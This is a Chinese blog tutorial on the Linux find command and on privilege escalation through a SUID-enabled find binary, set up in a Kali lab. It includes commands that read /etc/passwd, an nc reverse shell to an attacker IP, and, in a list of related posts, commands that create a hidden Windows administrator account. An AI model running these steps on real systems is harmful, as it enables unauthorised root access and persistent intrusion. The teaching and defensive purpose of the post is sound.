关于我

博客主页:https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd

前言

在信息安全的广阔领域中,系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具,在日常管理中广泛应用。

然而,当find命令被错误地赋予SUID权限时,它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法,展示其在特定权限设置下的安全风险,并通过实际案例演示权限提升过程,提供针对性的防御策略。

参数介绍

find常用参数

语法:find 【path...】 【expression】

`path`为查早路径,` . `为当前路径,` / `为根目录,`expression`为参数

参数列表参考:

-name:按照文件名查找文件

-perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限

-user:按照文件属性来查找

-size n:文件大小是n个单位

-type:

 	1. d:目录
2. f:文件
3. c:字符设备文件(Character Device Files)--字符设备文**件允许用户以字节为单位与其进行交互**,这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口,比如`/dev/tty`
4. b:块设备文件(Block Device Files)--与字符设备相对,**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节,例如512字节或4096字节等。<u>块设备的读写通常比字符设备要高效</u>,因此大多数**存储设备**(如硬盘和USB驱动器)都被视为块设备,例如,/dev/sda` -atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n: 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print: 将匹配的文件输出到标准输出 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。 该表来自:https://blog.csdn.net/weixin_44912169/article/details/105845909

Find实例

1、在当前目录下模糊查找.txt 后缀的文件

find . -name "*.txt"

2、在root目录下查找大于50M小于100M的文件

find / -size +50M -size -100M -type f   # +-号分别代表大于和小于

查找10分钟内读取过的文件

find / -amin 10 -type f

查找权限为755的文件或目录并排序

find -perm -755 -type f |sort

查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中

# 1.txt
ls
whoami
h0ck1r丶羽 # 2.txt
cat 1,2,3
find / -name '*.txt'
person=123 # 3.txt
end_file='3.txt'
echo 'over!'

使用find 将这些文件合并到一个文件中

┌──(root㉿kali)-[/data/demo]
└─# find . -type f -name '*.txt' -exec cat {} \;> all.txt ┌──(root㉿kali)-[/data/demo]
└─# cat all.txt
ls
whoami
h0ck1r丶羽 cat 1,2,3
find / -name '*.txt'
person=123
end_file='3.txt'
echo 'over!'

拆解之后

find . : 从当前目录开始找

-type f : 只查找文件(不包括目录)

-name '*.txt' : 查找文件名以 .txt 文件结尾的文件

-exec cat {} \; : 对找到的每个文件执行cat命令,{}是一个占位符,代表find命令找到的每个文件名。\;是命令的结束标记。

> all.txt : 将cat命令的输出重定向到all.txt文件中。如果all.txt文件已存在,他会被覆盖;如果不存在,会被创建。

这样就清楚了:

┌──(root㉿kali)-[/data/demo]
└─# find . -type f -name '*.txt' -exec cat {} \;
ls
whoami
h0ck1r丶羽 cat 1,2,3
find / -name '*.txt'
person=123
end_file='3.txt'
echo 'over!'
ls
whoami
h0ck1r丶羽 cat 1,2,3
find / -name '*.txt'
person=123
end_file='3.txt'
echo 'over!'

对结果进行赛选,然后保存再result.txt

┌──(root㉿kali)-[/data/demo]
└─# find . -type f -name '*.txt' -exec cat {} \; | grep 'h0ck1r' > result.txt ┌──(root㉿kali)-[/data/demo]
└─# cat result.txt
h0ck1r丶羽

前面两个例子只是对结果进行操作,那么这里执行其他命令cat /etc/passwd

┌──(root㉿kali)-[/data/demo]
└─# find . -type f -name '*.txt' -exec cat /etc/passwd \;
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

赋予root用户才能读取这个result,txt文件

┌──(root㉿kali)-[/data/demo]
└─# chmod 700 result.txt ┌──(root㉿kali)-[/data/demo]
└─# cat result.txt
h0ck1r丶羽

我们切换kali执行find命令

┌──(root㉿kali)-[/data/demo]
└─# su kali ┌──(kali㉿kali)-[/data/demo]
└─$ ls
1.txt 2.txt 3.txt all.txt result.txt ┌──(kali㉿kali)-[/data/demo]
└─$ find result.txt -exec whoami \;
kali ┌──(kali㉿kali)-[/data/demo]
└─$ cat result.txt
cat: result.txt: 权限不够 # 这里我们已经可以看到执行权限不够了

使用kali用户提权,被拒绝了,find提权的利用就是/usr/bin/find具有SUID权限,一旦find被赋予了SUID权限,那么黑客利用这个方式进行权限提示,造成无法挽回的后果

┌──(kali㉿kali)-[/data/demo]
└─$ chmod u+s /usr/bin/find
chmod: 更改 '/usr/bin/find' 的权限: 不允许的操作

为了模拟黑客攻击过程,我们直接使用root用户修改find命令为SUID权限

┌──(kali㉿kali)-[/data/demo]
└─$ su root
密码:输入你的密码
┌──(root㉿kali)-[/data/demo]
└─# chmod u+s /usr/bin/find

代码块不好看,换个终端。。。

查看这个find权限,具有一个SUID权限

SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。

在这里,find文件所有者为root,那么我们使用具有suid权限的find命令时,是以root用户的权限去执行的

模拟开始,假设我们已经getshell,系统用户为kali

找到了find具有SUID权限

那么就可以利用find执行系统命令,whoami,这时候是root用户,而我们直接使用whoami则是kali普通用户

首先查看result.txt权限,利用cat命令查看,权限不够,那么我们使用find命令执行命令,即可查看我们所属用户为root的result.txt文件,使用{}代表find查询出来的所有文件

可以执行命令了,那么就是反弹shell,windows作为攻击机,开启nc监听

在开始反弹之前,检查root用户的终端是哪个位置

那么我们正常反弹shell的命令就是这样的,但是移交的是普通用户kali权限

nc -e /usr/bin/zsh 10.0.0.7 3000

使用find命令反弹shell,那么就是root权限

反弹成功,我是root

查看我们的result.txt文件,成功提权!

总结

find更多的用法只是用来查找文件,但如果操作不慎,赋予了SUID权限,它也可以被用来进行权限提升。本文总结了如下几点:

1、当find命令被赋予了SUID权限时,普通用户执行该命令将能够以文件所有者(通常是root)的权限来执行。

2、提权步骤

  • 需要确认find命令是否具有SUID权限。这可以通过查看文件权限来完成。
  • 一旦确认find命令具有SUID权限,就可以利用它来执行需要更高权限的命令。
  • 例如,可以使用find命令来读取或修改通常只有root用户才能访问的文件。

3、防范

  • 防御者应该定期检查系统上的重要命令(如find)的权限设置,以确保它们没有被不当修改。
  • 还定期审计系统上的权限设置,以确保没有不当的权限提升行为发生。

感谢观看!

find基础命令与提权教程的更多相关文章

  1. [视频]K8飞刀 mysql注入点拿shell & UDF提权教程

    [视频]K8飞刀  mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m

  2. 1433修复命令大全提权错误大全_cmd_shell组件修复

    net user SQLDebugger list /add net localgroup administrators SQLDebugger /add Error Message:未能找到存储过程 ...

  3. Linux 的计划任务(运维基础|可用于提权)

    Linux操作系统定时任务系统 Cron 入门 先写笔记: crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数 crontab -l //列出某个用户 ...

  4. Git基础命令的使用——详细教程2

    Git安装默认完成后,在左面点击鼠标右键,鼠标右键菜单中会多出来两个选项: a)  Git GUI Here <—>  图型界面模式 b) Git Bash Here <—> ...

  5. udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

  6. 暴破助攻提权:ruadmin

    i春秋作家:yangyangwithgnu 1 缘由 千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路 ...

  7. 系统提权之:Unix 提权

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. 系统 ...

  8. WIN提权总结【本地存档-转载】

    [ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...

  9. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

  10. adore-ng笔记和Linux普通用户提权

    官网:https://github.com/trimpsyw/adore-ng 安装: [root@xuegod63 ~]# unzipadore-ng-master.zip [root@xuegod ...

随机推荐

  1. django 信号判断是新增、修改还是删除

    在Django的信号处理器中,你可以使用一些方法来确定信号是关于新增(create).修改(update)还是删除(delete)的.这通常涉及到检查 created 和 instance 参数的值. ...

  2. oeasy教您玩转vim - 24 - 自定颜色

    自定颜色 回忆上节课内容 这次我们研究了配色方案 找到了 colors 的位置 下载并应用了颜色方案 制作了自己的配色方案 下面我想修改配色方案的颜色 是否能成功??? 首先得有自己的颜色方案 #找到 ...

  3. 第七节 JMeter基础-高级登录【数据驱动-参数化】

    声明:本文所记录的仅本次操作学习到的知识点,其中商城IP错误,请自行更改. 背景:一个接口的不同情况,其实就是请求参数不一样.期望结果不一样.把这些不一样的东西都提取出来进行管理,下次可以直接使用.因 ...

  4. selenium屏蔽启动浏览器启动时的提示信息

    代码 from selenium import webdriver from selenium.webdriver import Remote from webdriver_helper import ...

  5. Superviso可视化监控进程

    如果您需要同时运行多个 ThinkPHP 命令,可以在 Supervisor 中为每个命令创建一个单独的程序段.以下是示例配置,其中包含两个 ThinkPHP 命令:command1.php 和 co ...

  6. Docker镜像构建:技术深度解析与实践指南

    本文深入分析了Docker镜像构建的技术细节,从基础概念到高级技术,涵盖了多阶段构建.安全性优化.性能提升及实战案例.旨在为专业人士提供全面的技术洞察和实用指导,以提升Docker镜像构建的效率和安全 ...

  7. CentOS 7 下将 jar 包注册为服务

    前提条件 因为 jar 包启动需要用到 jdk,所以服务器上必须要安装jdk或者jre,这方面的教程网上有非常多,可以去百度一下 创建文件 创建website.service文件, 内容如下: [ro ...

  8. 【IDEA】创建Maven工程

    当前工程,点new - project 选Maven,不需要点选什么骨架创建,骨架创建要下载大量依赖,生成时间太长, 空Maven的目的是让我们自己了解这个项目结构,需要什么依赖再加什么依赖 框线内的 ...

  9. 【Spring-Security】Re05 权限控制及403处理

    一.访问控制方法及控制项: 上述配置中的URL后面都离不开的一个访问控制抉择: 1.全部允许 PermiAll 2.全部拒绝 DenyAll 3.允许匿名访问 Anonymous 也就是普通访问者 4 ...

  10. nvme硬盘的断电保护是否有用,是噱头、智商税还是真的有需要?购买DOCKCASE智能M2固态硬盘盒10秒保护

    最近在某东上买了一个10秒断电保护的nvme硬盘,其实对于这个断电保护有用没有用我是不懂的,也是不care的,买这个硬盘盒主要就是为了这个屏幕去的,不过东西到手后我就开始思考这个断电保护到底有用没有用 ...